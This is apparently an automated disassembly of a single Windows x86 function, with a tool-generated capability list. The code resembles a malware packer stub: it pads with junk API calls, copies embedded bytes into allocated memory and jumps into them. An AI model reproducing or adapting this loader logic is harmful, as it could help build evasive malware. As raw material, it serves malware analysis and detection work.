Function at 0x43c9e0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Manipulate console buffer
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4525fe
push eax
mov dword fs:[0], esp
sub esp, 0x8f8
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43ca24
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43ca35
inc esi
cmp esi, 0x67d12
jl 0x43ca10
cmp dword [0x464f64], 0x93
jne 0x43cc89
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x900]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateDCA]
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xec]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xd8]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x403720
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.0043f780
add esp, 4
push eax
push 0x403720
lea ecx, [ebp - 0x40]
call fcn.0043e490
push ebx
mov dword [ebp - 4], ebx
call fcn.0043ff34
add esp, 4
push ebx
call fcn.0043fb5d
add esp, 4
push ebx
push ebx
call fcn.0043fb8c
push ebx
call fcn.0043fa2f
add esp, 0xc
call fcn.0043c9d0
lea edx, [ebp - 0xc8]
push edx
call fcn.0043d9d0
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x24], eax
mov dword [ebp + edx - 0xc8], 0x43b118
test byte [ebp - 0x7c], 1
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xbc], 0x43b0dc
je 0x43cb70
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
call fcn.0043fd0f
add esp, 4
mov edx, dword [ebp - 0xac]
mov dword [edx], ebx
mov eax, dword [ebp - 0x9c]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0xa8]
mov dword [edx], ebx
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x88]
mov dword [ecx], ebx
and dword [ebp - 0x7c], 0xfffffffe
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0xbc], 0x43b088
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x43cc0e
mov edi, dword [eax]
cmp edi, ebx
je 0x43cc02
push ebx
lea ecx, [ebp - 0x20]
call fcn.0043ef59
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x43cbe1
cmp eax, 0xffffffff
jae 0x43cbe1
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [ebp - 0x20]
and esi, edi
call fcn.0043ef81
cmp esi, ebx
je 0x43cc02
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0043fd0f
add esp, 4
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 1
call fcn.0043f1b7
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0xc8], 0x43b0d4
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xc0], 0x43b0cc
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x74]
mov dword [ebp + ecx - 0xc8], 0x43b0c4
push edx
mov dword [ebp - 0x74], 0x43b078
call fcn.0043eb5e
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 0x10
jb 0x43cc89
mov eax, dword [ebp - 0x3c]
push eax
call fcn.0043fd0f
add esp, 4
mov eax, dword [0x464f64]
mov ecx, dword [0x459174]
add eax, 0x1134b
push eax
push 0
mov dword [0x465da0], ecx
mov dword [0x464f64], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4649f0], eax
call fcn.0043c910
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x1692e
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43ccc2
cmp dword [0x464f64], esi
jbe 0x43cd52
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x43ccf0
mov edx, dword [0x465da0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4649f0]
mov byte [ecx + esi], al
cmp dword [0x464f64], 0x490
jne 0x43cd49
lea edx, [ebp - 0x18]
push edx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x24]
push eax
push 0
lea ecx, [ebp - 0xdc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc esi
cmp esi, dword [0x464f64]
jb 0x43ccf0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x464f64]
add edx, eax
cmp edx, 0x8d
jne 0x43cdaf
push 0
lea eax, [ebp - 0x900]
push eax
push 0
push 0
push 0
push 0
call esi
push 0x403730
push 0x403740
call edi
push 0
lea ecx, [ebp - 0x18]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43cd69
call fcn.0043c7d0
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43cde1
mov dword [ebp - 0x14], edi
add dword [ebp - 0x14], 0x8172
mov edx, dword [ebp - 0x14]
add dword [0x4649f0], edx
inc esi
cmp esi, 0x674bd
jl 0x43cdc3
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x464f64], 0x86
jne 0x43ce43
push 0
call esi
push 0
lea eax, [ebp - 0x900]
push eax
push 0x403750
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x464f64], 0xf
jne 0x43ce56
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x43ce03
call fcn.0043c490
call dword [0x4649f0]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret